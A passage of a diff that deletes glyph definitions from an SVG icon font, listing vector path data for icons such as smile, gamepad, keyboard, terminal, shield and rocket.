-v-853l256 315q44 53 116 87.5t140 34.5zM1909 605q0 -62 -46 -120l-295 -363q-43 -53 -116 -87.5t-140 -34.5h-1088q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158v-160h192q54 0 99 -24.5t67 -70.5q15 -32 15 -68z
-" />
-    <glyph glyph-name="expand_alt" unicode="&#xf116;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="collapse_alt" unicode="&#xf117;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="smile" unicode="&#xf118;" 
-d="M1134 461q-37 -121 -138 -195t-228 -74t-228 74t-138 195q-8 25 4 48.5t38 31.5q25 8 48.5 -4t31.5 -38q25 -80 92.5 -129.5t151.5 -49.5t151.5 49.5t92.5 129.5q8 26 32 38t49 4t37 -31.5t4 -48.5zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
-t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5
-t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="frown" unicode="&#xf119;" 
-d="M1134 307q8 -25 -4 -48.5t-37 -31.5t-49 4t-32 38q-25 80 -92.5 129.5t-151.5 49.5t-151.5 -49.5t-92.5 -129.5q-8 -26 -31.5 -38t-48.5 -4q-26 8 -38 31.5t-4 48.5q37 121 138 195t228 74t228 -74t138 -195zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
-t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204
-t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="meh" unicode="&#xf11a;" 
-d="M1152 448q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h640q26 0 45 -19t19 -45zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
-t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640
-q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="gamepad" unicode="&#xf11b;" horiz-adv-x="1920" 
-d="M832 448v128q0 14 -9 23t-23 9h-192v192q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-192h-192q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h192v-192q0 -14 9 -23t23 -9h128q14 0 23 9t9 23v192h192q14 0 23 9t9 23zM1408 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5
-t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1920 512q0 -212 -150 -362t-362 -150q-192 0 -338 128h-220q-146 -128 -338 -128q-212 0 -362 150
-t-150 362t150 362t362 150h896q212 0 362 -150t150 -362z" />
-    <glyph glyph-name="keyboard" unicode="&#xf11c;" horiz-adv-x="1920" 
-d="M384 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM512 624v-96q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h224q16 0 16 -16zM384 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 368v-96q0 -16 -16 -16
-h-864q-16 0 -16 16v96q0 16 16 16h864q16 0 16 -16zM768 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM640 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1024 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16
-h96q16 0 16 -16zM896 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1280 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1152 880v-96
-q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 880v-352q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h112v240q0 16 16 16h96q16 0 16 -16zM1792 128v896h-1664v-896
-h1664zM1920 1024v-896q0 -53 -37.5 -90.5t-90.5 -37.5h-1664q-53 0 -90.5 37.5t-37.5 90.5v896q0 53 37.5 90.5t90.5 37.5h1664q53 0 90.5 -37.5t37.5 -90.5z" />
-    <glyph glyph-name="flag_alt" unicode="&#xf11d;" horiz-adv-x="1792" 
-d="M1664 491v616q-169 -91 -306 -91q-82 0 -145 32q-100 49 -184 76.5t-178 27.5q-173 0 -403 -127v-599q245 113 433 113q55 0 103.5 -7.5t98 -26t77 -31t82.5 -39.5l28 -14q44 -22 101 -22q120 0 293 92zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9
-h-64q-14 0 -23 9t-9 23v1266q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102
-q-15 -9 -33 -9q-16 0 -32 8q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
-    <glyph glyph-name="flag_checkered" unicode="&#xf11e;" horiz-adv-x="1792" 
-d="M832 536v192q-181 -16 -384 -117v-185q205 96 384 110zM832 954v197q-172 -8 -384 -126v-189q215 111 384 118zM1664 491v184q-235 -116 -384 -71v224q-20 6 -39 15q-5 3 -33 17t-34.5 17t-31.5 15t-34.5 15.5t-32.5 13t-36 12.5t-35 8.5t-39.5 7.5t-39.5 4t-44 2
-q-23 0 -49 -3v-222h19q102 0 192.5 -29t197.5 -82q19 -9 39 -15v-188q42 -17 91 -17q120 0 293 92zM1664 918v189q-169 -91 -306 -91q-45 0 -78 8v-196q148 -42 384 90zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v1266
-q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102q-15 -9 -33 -9q-16 0 -32 8
-q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
-    <glyph glyph-name="terminal" unicode="&#xf120;" horiz-adv-x="1664" 
-d="M585 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23zM1664 96v-64q0 -14 -9 -23t-23 -9h-960q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h960q14 0 23 -9
-t9 -23z" />
-    <glyph glyph-name="code" unicode="&#xf121;" horiz-adv-x="1920" 
-d="M617 137l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23zM1208 1204l-373 -1291q-4 -13 -15.5 -19.5t-23.5 -2.5l-62 17q-13 4 -19.5 15.5t-2.5 24.5
-l373 1291q4 13 15.5 19.5t23.5 2.5l62 -17q13 -4 19.5 -15.5t2.5 -24.5zM1865 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23z" />
-    <glyph glyph-name="reply_all" unicode="&#xf122;" horiz-adv-x="1792" 
-d="M640 454v-70q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-69l-397 -398q-19 -19 -19 -45t19 -45zM1792 416q0 -58 -17 -133.5t-38.5 -138t-48 -125t-40.5 -90.5l-20 -40q-8 -17 -28 -17q-6 0 -9 1
-q-25 8 -23 34q43 400 -106 565q-64 71 -170.5 110.5t-267.5 52.5v-251q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-262q411 -28 599 -221q169 -173 169 -509z" />
-    <glyph glyph-name="star_half_empty" unicode="&#xf123;" horiz-adv-x="1664" 
-d="M1186 579l257 250l-356 52l-66 10l-30 60l-159 322v-963l59 -31l318 -168l-60 355l-12 66zM1638 841l-363 -354l86 -500q5 -33 -6 -51.5t-34 -18.5q-17 0 -40 12l-449 236l-449 -236q-23 -12 -40 -12q-23 0 -34 18.5t-6 51.5l86 500l-364 354q-32 32 -23 59.5t54 34.5
-l502 73l225 455q20 41 49 41q28 0 49 -41l225 -455l502 -73q45 -7 54 -34.5t-24 -59.5z" />
-    <glyph glyph-name="location_arrow" unicode="&#xf124;" horiz-adv-x="1408" 
-d="M1401 1187l-640 -1280q-17 -35 -57 -35q-5 0 -15 2q-22 5 -35.5 22.5t-13.5 39.5v576h-576q-22 0 -39.5 13.5t-22.5 35.5t4 42t29 30l1280 640q13 7 29 7q27 0 45 -19q15 -14 18.5 -34.5t-6.5 -39.5z" />
-    <glyph glyph-name="crop" unicode="&#xf125;" horiz-adv-x="1664" 
-d="M557 256h595v595zM512 301l595 595h-595v-595zM1664 224v-192q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v224h-864q-14 0 -23 9t-9 23v864h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224v224q0 14 9 23t23 9h192q14 0 23 -9t9 -23
-v-224h851l246 247q10 9 23 9t23 -9q9 -10 9 -23t-9 -23l-247 -246v-851h224q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="code_fork" unicode="&#xf126;" horiz-adv-x="1024" 
-d="M288 64q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM288 1216q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM928 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1024 1088q0 -52 -26 -96.5t-70 -69.5
-q-2 -287 -226 -414q-67 -38 -203 -81q-128 -40 -169.5 -71t-41.5 -100v-26q44 -25 70 -69.5t26 -96.5q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 52 26 96.5t70 69.5v820q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136q0 -52 -26 -96.5t-70 -69.5v-497
-q54 26 154 57q55 17 87.5 29.5t70.5 31t59 39.5t40.5 51t28 69.5t8.5 91.5q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136z" />
-    <glyph glyph-name="unlink" unicode="&#xf127;" horiz-adv-x="1664" 
-d="M439 265l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23zM608 224v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM384 448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23t9 23t23 9h320
-q14 0 23 -9t9 -23zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-334 335q-21 21 -42 56l239 18l273 -274q27 -27 68 -27.5t68 26.5l147 146q28 28 28 67q0 40 -28 68l-274 275l18 239q35 -21 56 -42l336 -336q84 -86 84 -204zM1031 1044l-239 -18
-l-273 274q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l274 -274l-18 -240q-35 21 -56 42l-336 336q-84 86 -84 204q0 120 85 203l147 146q83 83 203 83q121 0 204 -85l334 -335q21 -21 42 -56zM1664 960q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9
-t-9 23t9 23t23 9h320q14 0 23 -9t9 -23zM1120 1504v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM1527 1353l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
-    <glyph glyph-name="question" unicode="&#xf128;" horiz-adv-x="1024" 
-d="M704 280v-240q0 -16 -12 -28t-28 -12h-240q-16 0 -28 12t-12 28v240q0 16 12 28t28 12h240q16 0 28 -12t12 -28zM1020 880q0 -54 -15.5 -101t-35 -76.5t-55 -59.5t-57.5 -43.5t-61 -35.5q-41 -23 -68.5 -65t-27.5 -67q0 -17 -12 -32.5t-28 -15.5h-240q-15 0 -25.5 18.5
-t-10.5 37.5v45q0 83 65 156.5t143 108.5q59 27 84 56t25 76q0 42 -46.5 74t-107.5 32q-65 0 -108 -29q-35 -25 -107 -115q-13 -16 -31 -16q-12 0 -25 8l-164 125q-13 10 -15.5 25t5.5 28q160 266 464 266q80 0 161 -31t146 -83t106 -127.5t41 -158.5z" />
-    <glyph glyph-name="_279" unicode="&#xf129;" horiz-adv-x="640" 
-d="M640 192v-128q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64v384h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-576h64q26 0 45 -19t19 -45zM512 1344v-192q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v192
-q0 26 19 45t45 19h256q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="exclamation" unicode="&#xf12a;" horiz-adv-x="640" 
-d="M512 288v-224q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v224q0 26 19 45t45 19h256q26 0 45 -19t19 -45zM542 1344l-28 -768q-1 -26 -20.5 -45t-45.5 -19h-256q-26 0 -45.5 19t-20.5 45l-28 768q-1 26 17.5 45t44.5 19h320q26 0 44.5 -19t17.5 -45z" />
-    <glyph glyph-name="superscript" unicode="&#xf12b;" 
-d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3q-1 -3 -2.5 -6.5t-3.5 -8t-3 -6.5q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109z
-M1534 846v-206h-514l-3 27q-4 28 -4 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q83 65 188 65q110 0 178 -59.5t68 -158.5q0 -56 -24.5 -103t-62 -76.5t-81.5 -58.5t-82 -50.5
-t-65.5 -51.5t-30.5 -63h232v80h126z" />
-    <glyph glyph-name="subscript" unicode="&#xf12c;" 
-d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3q-1 -3 -2.5 -6.5t-3.5 -8t-3 -6.5q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109z
-M1536 -50v-206h-514l-4 27q-3 45 -3 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q80 65 188 65q110 0 178 -59.5t68 -158.5q0 -66 -34.5 -118.5t-84 -86t-99.5 -62.5t-87 -63t-41 -73
-h232v80h126z" />
-    <glyph glyph-name="_283" unicode="&#xf12d;" horiz-adv-x="1920" 
-d="M896 128l336 384h-768l-336 -384h768zM1909 1205q15 -34 9.5 -71.5t-30.5 -65.5l-896 -1024q-38 -44 -96 -44h-768q-38 0 -69.5 20.5t-47.5 54.5q-15 34 -9.5 71.5t30.5 65.5l896 1024q38 44 96 44h768q38 0 69.5 -20.5t47.5 -54.5z" />
-    <glyph glyph-name="puzzle_piece" unicode="&#xf12e;" horiz-adv-x="1664" 
-d="M1664 438q0 -81 -44.5 -135t-123.5 -54q-41 0 -77.5 17.5t-59 38t-56.5 38t-71 17.5q-110 0 -110 -124q0 -39 16 -115t15 -115v-5q-22 0 -33 -1q-34 -3 -97.5 -11.5t-115.5 -13.5t-98 -5q-61 0 -103 26.5t-42 83.5q0 37 17.5 71t38 56.5t38 59t17.5 77.5q0 79 -54 123.5
-t-135 44.5q-84 0 -143 -45.5t-59 -127.5q0 -43 15 -83t33.5 -64.5t33.5 -53t15 -50.5q0 -45 -46 -89q-37 -35 -117 -35q-95 0 -245 24q-9 2 -27.5 4t-27.5 4l-13 2q-1 0 -3 1q-2 0 -2 1v1024q2 -1 17.5 -3.5t34 -5t21.5 -3.5q150 -24 245 -24q80 0 117 35q46 44 46 89
-q0 22 -15 50.5t-33.5 53t-33.5 64.5t-15 83q0 82 59 127.5t144 45.5q80 0 134 -44.5t54 -123.5q0 -41 -17.5 -77.5t-38 -59t-38 -56.5t-17.5 -71q0 -57 42 -83.5t103 -26.5q64 0 180 15t163 17v-2q-1 -2 -3.5 -17.5t-5 -34t-3.5 -21.5q-24 -150 -24 -245q0 -80 35 -117
-q44 -46 89 -46q22 0 50.5 15t53 33.5t64.5 33.5t83 15q82 0 127.5 -59t45.5 -143z" />
-    <glyph glyph-name="microphone" unicode="&#xf130;" horiz-adv-x="1152" 
-d="M1152 832v-128q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-217 24 -364.5 187.5t-147.5 384.5v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -185 131.5 -316.5t316.5 -131.5
-t316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45zM896 1216v-512q0 -132 -94 -226t-226 -94t-226 94t-94 226v512q0 132 94 226t226 94t226 -94t94 -226z" />
-    <glyph glyph-name="microphone_off" unicode="&#xf131;" horiz-adv-x="1408" 
-d="M271 591l-101 -101q-42 103 -42 214v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -53 15 -113zM1385 1193l-361 -361v-128q0 -132 -94 -226t-226 -94q-55 0 -109 19l-96 -96q97 -51 205 -51q185 0 316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45v-128
-q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-125 13 -235 81l-254 -254q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l1234 1234q10 10 23 10t23 -10l82 -82q10 -10 10 -23
-t-10 -23zM1005 1325l-621 -621v512q0 132 94 226t226 94q102 0 184.5 -59t116.5 -152z" />
-    <glyph glyph-name="shield" unicode="&#xf132;" horiz-adv-x="1280" 
-d="M1088 576v640h-448v-1137q119 63 213 137q235 184 235 360zM1280 1344v-768q0 -86 -33.5 -170.5t-83 -150t-118 -127.5t-126.5 -103t-121 -77.5t-89.5 -49.5t-42.5 -20q-12 -6 -26 -6t-26 6q-16 7 -42.5 20t-89.5 49.5t-121 77.5t-126.5 103t-118 127.5t-83 150
-t-33.5 170.5v768q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="calendar_empty" unicode="&#xf133;" horiz-adv-x="1664" 
-d="M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280
-q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="fire_extinguisher" unicode="&#xf134;" horiz-adv-x="1408" 
-d="M512 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 1376v-320q0 -16 -12 -25q-8 -7 -20 -7q-4 0 -7 1l-448 96q-11 2 -18 11t-7 20h-256v-102q111 -23 183.5 -111t72.5 -203v-800q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v800
-q0 106 62.5 190.5t161.5 114.5v111h-32q-59 0 -115 -23.5t-91.5 -53t-66 -66.5t-40.5 -53.5t-14 -24.5q-17 -35 -57 -35q-16 0 -29 7q-23 12 -31.5 37t3.5 49q5 10 14.5 26t37.5 53.5t60.5 70t85 67t108.5 52.5q-25 42 -25 86q0 66 47 113t113 47t113 -47t47 -113
-q0 -33 -14 -64h302q0 11 7 20t18 11l448 96q3 1 7 1q12 0 20 -7q12 -9 12 -25z" />
-    <glyph glyph-name="rocket" unicode="&#xf135;" horiz-adv-x="1664" 
-d="M1440 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1664 1376q0 -249 -75.5 -430.5t-253.5 -360.5q-81 -80 -195 -176l-20 -379q-2 -16 -16 -26l-384 -224q-7 -4 -16 -4q-12 0 -23 9l-64 64q-13 14 -8 32l85 276l-281 281l-276 -85q-3 -1 -9 -1
-q-14 0 -23 9l-64 64q-17 19 -5 39l224 384q10 14 26 16l379 20q96 114 176 195q188 187 358 258t431 71q14 0 24 -9.5t10 -22.5z" />
-    <glyph glyph-name="maxcdn" unicode="&#xf136;" horiz-adv-x="1792" 
-d="M1745 763l-164 -763h-334l178 832q13 56 -15 88q-27 33 -83 33h-169l-204 -953h-334l204 953h-286l-204 -953h-334l204 953l-153 327h1276q101 0 189.5 -40.5t147.5 -113.5q60 -73 81 -168.5t0 -194.5z" />
-    <glyph glyph-name="chevron_sign_left" unicode="&#xf137;" 
-d="M909 141l102 102q19 19 19 45t-19 45l-307 307l307 307q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
-t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="chevron_sign_right" unicode="&#xf138;" 
-d="M717 141l454 454q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l307 -307l-307 -307q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
-t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="chevron_sign_up" unicode="&#xf139;" 
-d="M1165 397l102 102q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l307 307l307 -307q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
-t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="chevron_sign_down" unicode="&#xf13a;" 
-d="M813 237l454 454q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-307 -307l-307 307q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
-t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="html5" unicode="&#xf13b;" horiz-adv-x="1408" 
-d="M1130 939l16 175h-884l47 -534h612l-22 -228l-197 -53l-196 53l-13 140h-175l22 -278l362 -100h4v1l359 99l50 544h-644l-15 181h674zM0 1408h1408l-128 -1438l-578 -162l-574 162z" />
-    <glyph glyph-name="css3" unicode="&#xf13c;" horiz-adv-x="1792" 
-d="M275 1408h1505l-266 -1333l-804 -267l-698 267l71 356h297l-29 -147l422 -161l486 161l68 339h-1208l58 297h1209l38 191h-1208z" />
-    <glyph glyph-name="anchor" unicode="&#xf13d;" horiz-adv-x="1792" 
-d="M960 1280q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1792 352v-352q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-93 93q-119 -143 -318.5 -226.5t-429.5 -83.5t-429.5 83.5t-318.5 226.5l-93 -93q-9 -9 -23 -9q-4 0 -12 2q-20 8 -20 30v352
-q0 14 9 23t23 9h352q22 0 30 -20q8 -19 -7 -35l-100 -100q67 -91 189.5 -153.5t271.5 -82.5v647h-192q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h192v163q-58 34 -93 92.5t-35 128.5q0 106 75 181t181 75t181 -75t75 -181q0 -70 -35 -128.5t-93 -92.5v-163h192q26 0 45 -19
-t19 -45v-128q0 -26 -19 -45t-45 -19h-192v-647q149 20 271.5 82.5t189.5 153.5l-100 100q-15 16 -7 35q8 20 30 20h352q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="unlock_alt" unicode="&#xf13e;" horiz-adv-x="1152" 
-d="M1056 768q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v320q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45q0 106 -75 181t-181 75t-181 -75t-75 -181
-v-320h736z" />
-    <glyph glyph-name="bullseye" unicode="&#xf140;" 
-d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM1152 640q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1280 640q0 -212 -150 -362t-362 -150t-362 150
-t-150 362t150 362t362 150t362 -150t150 -362zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640
-q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="ellipsis_horizontal" unicode="&#xf141;" horiz-adv-x="1408" 
